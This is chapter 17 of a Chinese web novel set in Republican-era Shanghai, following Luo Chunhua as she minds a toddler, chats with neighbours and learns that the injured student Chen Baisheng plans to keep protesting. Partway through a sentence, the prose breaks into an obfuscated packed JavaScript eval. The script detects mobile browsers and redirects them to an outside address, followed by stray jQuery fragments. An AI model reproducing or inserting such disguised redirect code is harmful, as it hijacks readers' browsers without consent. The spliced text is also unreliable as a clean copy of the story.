17. 第 17 章
作品:《民国打工记》 到了厦门路的老虎房后,罗春花便有些迈不开腿了,拐带别人孩子出门,结果别人孩子还受了重伤,这在她们家是要挨打的,即使现在没有父母来看管了,可是面对陈柏生的父母,她也是没有脸面的。
大步走在前面的李秉衡,久久没有听见罗春花的脚步声,回过头来,看向小媳妇样的罗春花,笑了。
“磨叽什么呢?还不赶紧回去?”
罗春花苦笑,“陈柏生爸妈没生气吧。”
李秉衡心想,早干什么去了,这会事都已经干了,这才想起来害怕陈柏生父母?他没好气道:“陈大哥,陈大嫂上班去了,还指望有人专门迎接你们?做了什么大功劳吗?”
罗春花一听说陈家父母上班去了,便又放下心来,也没有理会李秉衡的奚落,就知道他狗嘴里吐不出什么好话。
回到周姐的房子,只有陈家阿婆抱着囡囡守在门口。巴巴的看着巷口。
“回来了?我家柏生呢?”
李秉衡把徐泉松的话解释了一遍后,陈家阿婆点着头,一遍遍道:“好人呐!”便又想去徐大夫医馆照顾陈柏生。
为了弥补自己犯下的错,罗春花率先抱过囡囡,承诺今天她可以照顾囡囡,让阿婆可以放心过去。
于是,陈家阿婆便松开了手,两只小脚交错着往楼上一颠一颠的跑去,要拿陈柏生需要用到的东西。
罗春花接过囡囡后,再回头看去,就见李秉衡早早的就去厨房找吃的去了。她早上刚吃过了,此刻还不饿,但她看向怀里咂着手的囡囡,夹着嗓子问道:“囡囡,早上吃饭了吗?”
囡囡乖乖的点了点头。
“那还饿不饿啊?”
囡囡又乖乖的点了点头。
罗春花笑了,抱着小孩也去了厨房。
厨房里,周姐留的泡饭正放在灶台上,李秉衡早就立在一旁,大口的吸溜着。
罗春花看不过眼,嫌弃的撇过了头,端起泡饭,又夹了点腐乳走到外面的餐桌上。
长凳上,囡囡正一脸期待的看着罗春花走过来。
罗春花又是一脸笑意,囡囡才一两岁,长得白净可爱,又是乖乖的,自然讨了罗春花的喜爱。此刻,罗春花耐心的一勺一勺的喂着囡囡,直到囡囡说了不饿,才又放下碗勺。
喂完囡囡,此刻还不到上午。
罗春花虽然喜欢孩子,但是没有带孩子的经验,以往带大侄子也就是把他往游乐设施里一扔,自己在旁边刷手机就可以了,可现在这里也没有小孩能玩的游乐设施。
她抱着囡囡,在房子里四处乱转。
小宝此刻也不知道跑哪里去了,周姐此刻正在天井旁和女工一块洗着收来的衣服呢。
罗春花踏上二楼,李秉衡的屋子正死死关着门,也不知道忙活什么呢。
赵明德今天周日也要上班,张玉梅正一个人边看着孩子,边做手工活。
罗春花抱着囡囡还没走过去,囡囡边张着小手叫唤道:“抱弟弟,抱弟弟。”
罗春花便放下囡囡,让她自己走过去。
张玉梅听见声音,抬起头来,也是一脸笑意。
“囡囡来啦!”见罗春花也跟着过来了,又起身道:“罗小姐也来了。”
罗春花点点头。
张玉梅起身,拿出一个凳子放在旁边,招呼罗春花坐下。
罗春花见囡囡一时半刻不会离开了,便也顺从的坐下来了。
张玉梅没生孩子前也不过是店里的端茶倒水的丫鬟,和罗春花这种一眼看过去就是读书识字的娇小姐实在没什么话题可聊,招呼罗春花坐下后,便哑口了,实在不知道该聊什么。
倒是罗春花对张玉梅手里的刺绣感兴趣。于是从张玉梅手里接过,对着阳光细细端详了片刻,绣工一般,也算不上什么好的。
“是给宝宝缝的吗?”
张玉梅羞涩一笑,“福生这么小,可不能穿带刺绣的衣服,这是接的活。”
罗春花啊了一声,又哦了一声,便也不知道说什么了。
张玉梅倒是起了兴致,从房里又拿出了几块绣布,让罗春花看起来。
罗春花虽然觉得张玉梅绣工一般,但看着张玉梅拿出来这些荷包、鞋面小物件来,又生了几分兴趣,她还没见过这些小物件。
一上午,两个人倒也算聊的开心。
囡囡在旁边和弟弟玩的也很开心。
中午的时候,陈家阿婆也没回来,罗春花带着囡囡又一同吃了午饭。
饭桌上,消失了一上午的小宝也终于回来了,看着出现在餐桌上的囡囡还愣了一下,然后又拿着一块饼哄着囡囡叫哥哥。
罗春花抱着囡囡和小宝玩,随口问他上午去哪玩了。
小宝听见这话,瞬间激动道:“捡宝去了。”
凌晨火车站上,都是人,里层是要去北上的学生,外层是支持学生的大人,一场游行下来,火车站地上都是别人掉的东西。他们这群孩子都去那里寻宝去了。
罗春花也好奇的问道:“那你都捡到什么了?”
小宝看了眼正在厨房忙活的妈妈,侧过身把口袋露了出来。
罗春花见,有几个明晃晃的硬币,也不知道是银元还是铜元,还没等问出口,便见小宝又从兜里拿出一只笔来。
李秉衡正从楼下走下来,遥遥便看着小宝正拿着一只笔在那显摆,走过去,拿过来细细打量了片刻。
“赚了!”
小宝连忙抓着李秉衡问,怎么赚了?
李秉衡把钢笔递还给小宝,“万宝龙的钢笔,怎么说也得小一百。”
听见这价格,小宝连忙吓了一跳,他只以为是普通的钢笔。
“这么贵的笔,不会有人找上门吧。”
李秉衡倒显得无关痛痒,见小宝焦急害怕的脸色,又解释给他听:“这肯定是火车站上游行学生掉的,但这么贵的笔能被带着肯定也是不缺钱的主,你看你柏生哥,他去游行会带这些花里胡哨的东西吗?”
听罢,小宝倒放下心来了。
“确实,柏生哥,哪次去游行都不带东西,生怕跑的时候给掉了。”
罗春花一听是万宝龙的钢笔,也叫小宝好生收着吧,别弄丢了。这牌子在后世都是值钱货呢。
待周姐端着饭过来的时候,大家又都收声了。
周姐一向是不喜小宝掺和这些事的。
午饭后,福生正是睡午觉的时候,罗春花看着也在打哈欠的囡囡,于是也哄着要跟着小宝玩的囡囡睡午觉。小宝见状也是趁着囡囡被罗春花哄住心神的时候,一个错身就跑出家门了。
他可不想带着小孩玩。
待囡囡回过身的时候,就没见到小宝的身影了,也只好听话的跟着春花上楼睡午觉了。
囡囡倒是好哄,不用罗春花怎么哄睡,躺在床上自言自语了一会儿,就闭上眼睡了。
伴随着囡囡的自言自语,罗春花也进入了睡眠中。
待罗春花醒来的时候,囡囡正睁着大眼躺在床上对着手指玩呢。
罗春花连忙一惊,她起床下意识的摸了摸床
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053453|194852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铺,没有湿。
“囡囡,你要上厕所吗?”
囡囡摇摇头,“春花姐姐,我刚才自己去了。”
囡囡真的是太懂事乖巧了。罗春花不由感叹道。
此时太阳西斜,老虎窗外的河面上泛着红黄色的水光。
罗春花拿出手表看了眼时间,已经下午四点多了。她抱起囡囡走下楼去。张玉梅还在门口对着天光,眯着眼缝东西,楼下周姐依旧在漂洗媳妇。
陈家阿婆自然也没回来。
只是,陈家阿婆不能总是扔下囡囡去照顾陈柏生。
待晚上,陈家夫妇回来的时候,便好一阵商量,最终决定还是连夜把陈柏生从望平街抬回来。
于是,在徐泉松的照看下,陈柏生又连夜回到了石库里。
罗春花靠在门框上,抱着囡囡,看着陈家人一通忙活。
所幸,陈大力找的人靠谱,一路上没有颠簸,徐泉松诊完脉后,话一出,大家显然都松了口气。
罗春花倒觉得早知如此,何必又抬回来呢。
待陈家夫妇送徐泉松出去的,罗春花走进陈柏生。
那张俊秀的脸庞上此刻已经有了青色。
“疼吗?”囡囡把手贴在哥哥的胸口上,一脸担忧。
陈柏生笑着摇头。
罗春花心疼被折腾的陈柏生,也气愤陈家夫妇不遵医嘱的行为。但她看着陈柏生平和的笑脸却又泄了火。
“这下子,你就好好的在家养伤吧。”
罗春花装作幸灾乐祸的样子说道。
陈柏生倒是没说话,只是看向床头的报纸,又叹了口气。
顺着陈柏生的视线,罗春花拿过那张报纸,是最新的报纸。
罗春花费力的通过上面一连串的繁体十字,知道这是今天刚出的报纸,掠过一连串的冬至打折,冬季新衣这类型字体又大又显眼的广告,在第二面,罗春花终于看到陈柏生想要她看的内容:平市中等学校奉令提前放假,各大学电教部请示?罗春花其中一个字并不认识,只是猜侧的念出来。
见陈柏生摇头,又目光下移,都是各地学生游行请愿的报道。
字数繁多,又都是繁体字,罗春花没有念下去,目光在整张报纸上打转,终于看到了一块看似内容不多,又好读的地方,看了下去。
从左到右,接着从上到下:
【本报今日要目,国内:平市个中学奉令提前放假,平津新增日军撤往x榆
国外:日陆军省发十万元调查我国经济,美国非战协会反对x德门诋日言论。
上海:中学学校学生救国联合会成立,妇女界救国表示】
罗春花遇见自己认不出来的字都直接跳过去了,就这么简短的几列字,罗春花也眯着眼废了好大的力气,然后抬起头看向陈柏生。
陈柏生这次点了点头。
罗春花震惊了:“你不会还要带伤去游行吧。”
陈柏生没有回答,但看样子是要这样了。
罗春花一时之间都不知道该庆幸陈家父母把陈柏生带回来的明智之举了,还是该谴责陈柏生如此不爱惜生命的举动。
她不明白,人怎么会死犟到这种地步,如果陈柏生是一个军人,罗春花还能理解,但陈柏生只是一个学生。在罗春花的数十年的生活经验里,最没用的学生了,怎么还能这么拼命?
但是,罗春花虽然无知,但有自知之明,她没有说出口,也没有再劝陈柏生。
生死有命,她虽然不理解,但尊重每个人的选择。

